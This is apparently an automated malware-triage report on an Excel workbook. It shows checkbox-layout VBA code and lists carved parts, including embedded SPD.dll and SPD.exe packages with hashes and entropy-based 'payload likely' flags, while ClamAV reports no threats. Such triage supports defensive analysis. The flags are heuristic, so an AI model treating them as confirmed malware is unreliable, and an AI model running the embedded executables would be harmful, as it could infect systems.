ActiveSheet.OLEObjects("CheckBox26").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox26").Left = 0
ActiveSheet.OLEObjects("CheckBox26").Width = 109.8
ActiveSheet.OLEObjects("CheckBox26").Height = 27.6
ActiveSheet.OLEObjects("CheckBox31").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox31").Left = 300
ActiveSheet.OLEObjects("CheckBox31").Width = 145.8
ActiveSheet.OLEObjects("CheckBox31").Height = 28.2
ActiveSheet.OLEObjects("CheckBox32").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox32").Left = 460.8
ActiveSheet.OLEObjects("CheckBox32").Width = 109.8
ActiveSheet.OLEObjects("CheckBox32").Height = 28.2
ActiveSheet.OLEObjects("CheckBox37").Top = 1291.8
ActiveSheet.OLEObjects("CheckBox37").Left = 679.8
ActiveSheet.OLEObjects("CheckBox37").Width = 0
ActiveSheet.OLEObjects("CheckBox37").Height = 29.4
ActiveSheet.OLEObjects("CheckBox9").Top = 1452.6
ActiveSheet.OLEObjects("CheckBox9").Left = 493.8
ActiveSheet.OLEObjects("CheckBox9").Width = 10.8
ActiveSheet.OLEObjects("CheckBox9").Height = 14.4
ActiveSheet.OLEObjects("CheckBox10").Top = 1468.2
ActiveSheet.OLEObjects("CheckBox10").Left = 493.8
ActiveSheet.OLEObjects("CheckBox10").Width = 10.8
ActiveSheet.OLEObjects("CheckBox10").Height = 14.4
ActiveSheet.OLEObjects("CheckBox11").Top = 1483.8
ActiveSheet.OLEObjects("CheckBox11").Left = 493.8
ActiveSheet.OLEObjects("CheckBox11").Width = 10.8
ActiveSheet.OLEObjects("CheckBox11").Height = 14.4
ActiveSheet.OLEObjects("CheckBox12").Top = 1499.4
ActiveSheet.OLEObjects("CheckBox12").Left = 493.8
ActiveSheet.OLEObjects("CheckBox12").Width = 10.8
ActiveSheet.OLEObjects("CheckBox12").Height = 14.4
ActiveSheet.OLEObjects("CheckBox13").Top = 1515
ActiveSheet.OLEObjects("CheckBox13").Left = 493.8
ActiveSheet.OLEObjects("CheckBox13").Width = 10.8
ActiveSheet.OLEObjects("CheckBox13").Height = 14.4
ActiveSheet.OLEObjects("CheckBox14").Top = 1530.6
ActiveSheet.OLEObjects("CheckBox14").Left = 493.8
ActiveSheet.OLEObjects("CheckBox14").Width = 10.8
ActiveSheet.OLEObjects("CheckBox14").Height = 14.4
ActiveSheet.OLEObjects("CheckBox2").Top = 1452.6
ActiveSheet.OLEObjects("CheckBox2").Left = 433.2
ActiveSheet.OLEObjects("CheckBox2").Width = 10.2
ActiveSheet.OLEObjects("CheckBox2").Height = 15
ActiveSheet.OLEObjects("CheckBox4").Top = 1468.2
ActiveSheet.OLEObjects("CheckBox4").Left = 433.2
ActiveSheet.OLEObjects("CheckBox4").Width = 10.8
ActiveSheet.OLEObjects("CheckBox4").Height = 14.4
ActiveSheet.OLEObjects("CheckBox5").Top = 1483.8
ActiveSheet.OLEObjects("CheckBox5").Left = 433.2
ActiveSheet.OLEObjects("CheckBox5").Width = 10.8
ActiveSheet.OLEObjects("CheckBox5").Height = 14.4
ActiveSheet.OLEObjects("CheckBox6").Top = 1499.4
ActiveSheet.OLEObjects("CheckBox6").Left = 433.2
ActiveSheet.OLEObjects("CheckBox6").Width = 10.8
ActiveSheet.OLEObjects("CheckBox6").Height = 14.4
ActiveSheet.OLEObjects("CheckBox7").Top = 1515
ActiveSheet.OLEObjects("CheckBox7").Left = 433.2
ActiveSheet.OLEObjects("CheckBox7").Width = 10.8
ActiveSheet.OLEObjects("CheckBox7").Height = 14.4
ActiveSheet.OLEObjects("CheckBox8").Top = 1530.6
ActiveSheet.OLEObjects("CheckBox8").Left = 433.2
ActiveSheet.OLEObjects("CheckBox8").Width = 10.8
ActiveSheet.OLEObjects("CheckBox8").Height = 14.4
ActiveSheet.OLEObjects("CheckBox15").Top = 1452.6
ActiveSheet.OLEObjects("CheckBox15").Left = 553.8
ActiveSheet.OLEObjects("CheckBox15").Width = 10.8
ActiveSheet.OLEObjects("CheckBox15").Height = 14.4
ActiveSheet.OLEObjects("CheckBox16").Top = 1468.2
ActiveSheet.OLEObjects("CheckBox16").Left = 553.8
ActiveSheet.OLEObjects("CheckBox16").Width = 10.8
ActiveSheet.OLEObjects("CheckBox16").Height = 14.4
ActiveSheet.OLEObjects("CheckBox17").Top = 1483.8
ActiveSheet.OLEObjects("CheckBox17").Left = 553.8
ActiveSheet.OLEObjects("CheckBox17").Width = 10.8
ActiveSheet.OLEObjects("CheckBox17").Height = 14.4
ActiveSheet.OLEObjects("CheckBox18").Top = 1499.4
ActiveSheet.OLEObjects("CheckBox18").Left = 553.8
ActiveSheet.OLEObjects("CheckBox18").Width = 10.8
ActiveSheet.OLEObjects("CheckBox18").Height = 14.4
ActiveSheet.OLEObjects("CheckBox19").Top = 1515
ActiveSheet.OLEObjects("CheckBox19").Left = 553.8
ActiveSheet.OLEObjects("CheckBox19").Width = 10.8
ActiveSheet.OLEObjects("CheckBox19").Height = 14.4
ActiveSheet.OLEObjects("CheckBox20").Top = 1530.6
ActiveSheet.OLEObjects("CheckBox20").Left = 553.8
ActiveSheet.OLEObjects("CheckBox20").Width = 10.8
ActiveSheet.OLEObjects("CheckBox20").Height = 14.4
ActiveSheet.OLEObjects("CheckBox50").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox50").Left = 137.4
ActiveSheet.OLEObjects("CheckBox50").Width = 146.4
ActiveSheet.OLEObjects("CheckBox50").Height = 28.2
ActiveSheet.OLEObjects("CheckBox29").Top = 1884
ActiveSheet.OLEObjects("CheckBox29").Left = 334.2
ActiveSheet.OLEObjects("CheckBox29").Width = 10.8
ActiveSheet.OLEObjects("CheckBox29").Height = 15
ActiveSheet.OLEObjects("CheckBox33").Top = 1884
ActiveSheet.OLEObjects("CheckBox33").Left = 396.6
ActiveSheet.OLEObjects("CheckBox33").Width = 10.8
ActiveSheet.OLEObjects("CheckBox33").Height = 15
ActiveSheet.OLEObjects("CheckBox34").Top = 1884
ActiveSheet.OLEObjects("CheckBox34").Left = 457.2
ActiveSheet.OLEObjects("CheckBox34").Width = 10.2
ActiveSheet.OLEObjects("CheckBox34").Height = 15
ActiveSheet.OLEObjects("CheckBox35").Top = 1884
ActiveSheet.OLEObjects("CheckBox35").Left = 518.4
ActiveSheet.OLEObjects("CheckBox35").Width = 10.8
ActiveSheet.OLEObjects("CheckBox35").Height = 15
ActiveSheet.OLEObjects("CheckBox51").Top = 1884
ActiveSheet.OLEObjects("CheckBox51").Left = 579.6
ActiveSheet.OLEObjects("CheckBox51").Width = 10.8
ActiveSheet.OLEObjects("CheckBox51").Height = 15
ActiveSheet.OLEObjects("CheckBox52").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox52").Left = 334.2
ActiveSheet.OLEObjects("CheckBox52").Width = 10.8
ActiveSheet.OLEObjects("CheckBox52").Height = 17.4
ActiveSheet.OLEObjects("CheckBox53").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox53").Left = 396.6
ActiveSheet.OLEObjects("CheckBox53").Width = 10.8
ActiveSheet.OLEObjects("CheckBox53").Height = 17.4
ActiveSheet.OLEObjects("CheckBox54").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox54").Left = 457.2
ActiveSheet.OLEObjects("CheckBox54").Width = 10.2
ActiveSheet.OLEObjects("CheckBox54").Height = 17.4
ActiveSheet.OLEObjects("CheckBox55").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox55").Left = 518.4
ActiveSheet.OLEObjects("CheckBox55").Width = 10.8
ActiveSheet.OLEObjects("CheckBox55").Height = 17.4
ActiveSheet.OLEObjects("CheckBox56").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox56").Left = 579.6
ActiveSheet.OLEObjects("CheckBox56").Width = 10.8
ActiveSheet.OLEObjects("CheckBox56").Height = 17.4
ActiveSheet.OLEObjects("CheckBox57").Top = 7306.8
ActiveSheet.OLEObjects("CheckBox57").Left = 88.8
ActiveSheet.OLEObjects("CheckBox57").Width = 190.2
ActiveSheet.OLEObjects("CheckBox57").Height = 27
ActiveSheet.OLEObjects("CheckBox58").Top = 7339.8
ActiveSheet.OLEObjects("CheckBox58").Left = 88.8
ActiveSheet.OLEObjects("CheckBox58").Width = 189
ActiveSheet.OLEObjects("CheckBox58").Height = 27.6
ActiveSheet.OLEObjects("CheckBox59").Top = 7372.8
ActiveSheet.OLEObjects("CheckBox59").Left = 88.8
ActiveSheet.OLEObjects("CheckBox59").Width = 193.2
ActiveSheet.OLEObjects("CheckBox59").Height = 27.6
ActiveSheet.OLEObjects("CheckBox60").Top = 7405.2
ActiveSheet.OLEObjects("CheckBox60").Left = 88.8
ActiveSheet.OLEObjects("CheckBox60").Width = 204
ActiveSheet.OLEObjects("CheckBox60").Height = 26.4
ActiveSheet.OLEObjects("CheckBox61").Top = 7437.6
ActiveSheet.OLEObjects("CheckBox61").Left = 88.8
ActiveSheet.OLEObjects("CheckBox61").Width = 213.6
ActiveSheet.OLEObjects("CheckBox61").Height = 27
ActiveSheet.OLEObjects("CheckBox62").Top = 7470.6
ActiveSheet.OLEObjects("CheckBox62").Left = 88.8
ActiveSheet.OLEObjects("CheckBox62").Width = 210.6
ActiveSheet.OLEObjects("CheckBox62").Height = 26.4
ActiveSheet.OLEObjects("CheckBox63").Top = 7306.2
ActiveSheet.OLEObjects("CheckBox63").Left = 321.6
ActiveSheet.OLEObjects("CheckBox63").Width = 174
ActiveSheet.OLEObjects("CheckBox63").Height = 27
ActiveSheet.OLEObjects("CheckBox64").Top = 7371.6
ActiveSheet.OLEObjects("CheckBox64").Left = 321.6
ActiveSheet.OLEObjects("CheckBox64").Width = 195.6
ActiveSheet.OLEObjects("CheckBox64").Height = 27
ActiveSheet.OLEObjects("CheckBox66").Top = 7400.4
ActiveSheet.OLEObjects("CheckBox66").Left = 321.6
ActiveSheet.OLEObjects("CheckBox66").Width = 129
ActiveSheet.OLEObjects("CheckBox66").Height = 27
ActiveSheet.OLEObjects("CheckBox67").Top = 7306.2
ActiveSheet.OLEObjects("CheckBox67").Left = 567.6
ActiveSheet.OLEObjects("CheckBox67").Width = 243
ActiveSheet.OLEObjects("CheckBox67").Height = 27
ActiveSheet.OLEObjects("CheckBox68").Top = 7431.6
ActiveSheet.OLEObjects("CheckBox68").Left = 321.6
ActiveSheet.OLEObjects("CheckBox68").Width = 229.2
ActiveSheet.OLEObjects("CheckBox68").Height = 27
ActiveSheet.OLEObjects("CheckBox69").Top = 7503.6
ActiveSheet.OLEObjects("CheckBox69").Left = 88.8
ActiveSheet.OLEObjects("CheckBox69").Width = 199.2
ActiveSheet.OLEObjects("CheckBox69").Height = 27
ActiveSheet.OLEObjects("CheckBox39").Top = 1269
ActiveSheet.OLEObjects("CheckBox39").Left = 432
ActiveSheet.OLEObjects("CheckBox39").Width = 26.4
ActiveSheet.OLEObjects("CheckBox39").Height = 17.4
ActiveSheet.OLEObjects("CheckBox40").Top = 1269
ActiveSheet.OLEObjects("CheckBox40").Left = 469.2
ActiveSheet.OLEObjects("CheckBox40").Width = 66
…
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject1.bin 300032 bytes
SHA-256: 2f5291f5f8d8430a03317f852cc10edf8b379591d9d3eac4a1b846c0cf209506
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.96, consistent with packed or encrypted content.
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 295347 bytes
SHA-256: b7d89c6b680a99896888ee30ca9063328cc36df4ce548f9d009c09c09af2459a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
ooxml_oleobject_00_ole10native_00_SPD.dll ole-package-payload OOXML xl/embeddings/oleObject1.bin Ole10Native payload: display_name=SPD.dll; full_path=C:\Users\Tobias\AppData\Local\Temp\SPD.dll; temp_path=; def_file= 294912 bytes
SHA-256: 4b4179d7c709719b871140e314a0069d2b8fa331d3a704e8b129f4c514785e54
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
ooxml_oleobject_01.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject2.bin 300544 bytes
SHA-256: 7e1a722984a1e658a38c0638de9dc8d9b5401656c2ebe4e0d47d4b4964f69d6f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.96, consistent with packed or encrypted content.
ooxml_oleobject_01_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject2.bin Ole10Native stream: Ole10Native 295883 bytes
SHA-256: dfd34da79d07e7e73e42d2f4b041ec604cf421d2398438c714eac1293e9183d5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
ooxml_oleobject_01_ole10native_00_SPD.exe ole-package-payload OOXML xl/embeddings/oleObject2.bin Ole10Native payload: display_name=SPD.exe; full_path=C:\Users\Tobias\AppData\Local\Temp\SPD.exe; temp_path=; def_file= 295424 bytes
SHA-256: 9a305116bdb925cd20126f7ee3cc07174ca90bf558cf5e72665093297695bcd6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 207872 bytes
SHA-256: 5c620d1b531bf50292b83f55b2a4e5aafc4dd858f639e41c4a935559cd0e4670
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image31.emf 2540 bytes
SHA-256: a3057192e9535a14945ce636d868ac59bf19c46bc5280c23155eee714ca8493e
emf_01.emf ooxml-emf OOXML EMF part: xl/media/image32.emf 2540 bytes
SHA-256: caa7487e836d2cbc2ec55fb2320746b82ab6970f17ff2476a2141e79d47ca386
emf_02.emf ooxml-emf OOXML EMF part: xl/media/image6.emf 4976 bytes
SHA-256: 94374968ad8ab0008603078fe3ef15e4d7ec817ba2f45b1226b9b49635e272e7
emf_03.emf ooxml-emf OOXML EMF part: xl/media/image7.emf 7280 bytes
SHA-256: d46c239ffeca5236d71bee513943dab04a776be9f4d88cbbe857dd947f6cdaaf
emf_04.emf ooxml-emf OOXML EMF part: xl/media/image33.emf 2540 bytes
SHA-256: b0f14994e0549debc86632e4472589a8fed47afaedb8f71ec94d4582105591ab
emf_05.emf ooxml-emf OOXML EMF part: xl/media/image8.emf 3172 bytes
SHA-256: 5f6b8d7fd03d9a9d24242f3c72237c447d439254799bce543d482f6b7562e326
emf_06.emf ooxml-emf OOXML EMF part: xl/media/image9.emf 3496 bytes
SHA-256: 1777e891612ad620368ed68fe9f3429bcc19c517ec37e7275af44f4857f00bd6
emf_07.emf ooxml-emf OOXML EMF part: xl/media/image34.emf 2540 bytes
SHA-256: 78c175a17049b88fc77c20b6a9733ba2ff051f9e08e810a064f87b9aaa35d278
emf_08.emf ooxml-emf OOXML EMF part: xl/media/image10.emf 3124 bytes
SHA-256: 16512dd15021a2d543ab359cbe164f49ef817646e06de9b2fd5cf5d6b5124be9
emf_09.emf ooxml-emf OOXML EMF part: xl/media/image11.emf 3088 bytes
SHA-256: 2f18c4b67b9bc09a915da182b4b903aa395ce82daaea8261f655baaffe05dce1
emf_10.emf ooxml-emf OOXML EMF part: xl/media/image35.emf 2540 bytes
SHA-256: 6fc0121f64dae537953c7b2214176eaff18b060bab1a662e44a368699ca02972
emf_11.emf ooxml-emf OOXML EMF part: xl/media/image12.emf 3260 bytes
SHA-256: 3ff0f9c778551fa82380762f2c567716d9c4aa291b782800c52ccab732884f9d
emf_12.emf ooxml-emf OOXML EMF part: xl/media/image13.emf 3124 bytes
SHA-256: 99a7b3ecd48f61d33fe86befcf2f6b28a018da142ea4ad28773b5d5cc00eb53d
emf_13.emf ooxml-emf OOXML EMF part: xl/media/image36.emf 2540 bytes
SHA-256: e6bf15a7f8ce1ba58843e714ef3ad36e3ea6f50548efaaaf2a78fb8fefd10bd5
emf_14.emf ooxml-emf OOXML EMF part: xl/media/image14.emf 3188 bytes
SHA-256: 81b3e63966c37d08c015fc9abba9f609005992ce67d50a682bff7ae8d126a16f
emf_15.emf ooxml-emf OOXML EMF part: xl/media/image15.emf 3220 bytes
SHA-256: 4a24435d3510088e2e76310a57821e8a916205d461d4a5b956f6962812646d21
emf_16.emf ooxml-emf OOXML EMF part: xl/media/image37.emf 3492 bytes
SHA-256: b243566a7bd82f6942dfd6b482db25018b8838ea33068ef70b324bdcf0566e47
emf_17.emf ooxml-emf OOXML EMF part: xl/media/image16.emf 3364 bytes
SHA-256: b1a002b9c29a49306d79375c4193ffb8048e66502efe49df4c10543e96554556
emf_18.emf ooxml-emf OOXML EMF part: xl/media/image17.emf 3292 bytes
SHA-256: fdc6d89635776793b81978be1478113dad6b5dd4e70fcfab2afff637e376673d
emf_19.emf ooxml-emf OOXML EMF part: xl/media/image38.emf 3136 bytes
SHA-256: f454085a925058983dd99d91f7e963f24df171e48324d09c661efecd5c3e0df6
emf_20.emf ooxml-emf OOXML EMF part: xl/media/image18.emf 3296 bytes
SHA-256: 1b40db4513d143a120b1baaaec5b47c6db05fe50bd0e08d605c329069bded441
emf_21.emf ooxml-emf OOXML EMF part: xl/media/image39.emf 3148 bytes
SHA-256: 9e8559d0cf6cde13be5c0c5c40f09527d5a630b302d79b0b7d759b3f78b93443
emf_22.emf ooxml-emf OOXML EMF part: xl/media/image19.emf 3272 bytes
SHA-256: 55464703eeea70af1a080f590e93c46bf099c9972da5f07205c62f5b3fe26c6f
emf_23.emf ooxml-emf OOXML EMF part: xl/media/image20.emf 3024 bytes
SHA-256: ef405f7ba40ab6fae65d0518cfb83165ddace6401649c9ba6aee08dadef1fa6d

Open this report in the interactive analyzer, or submit your own file for analysis.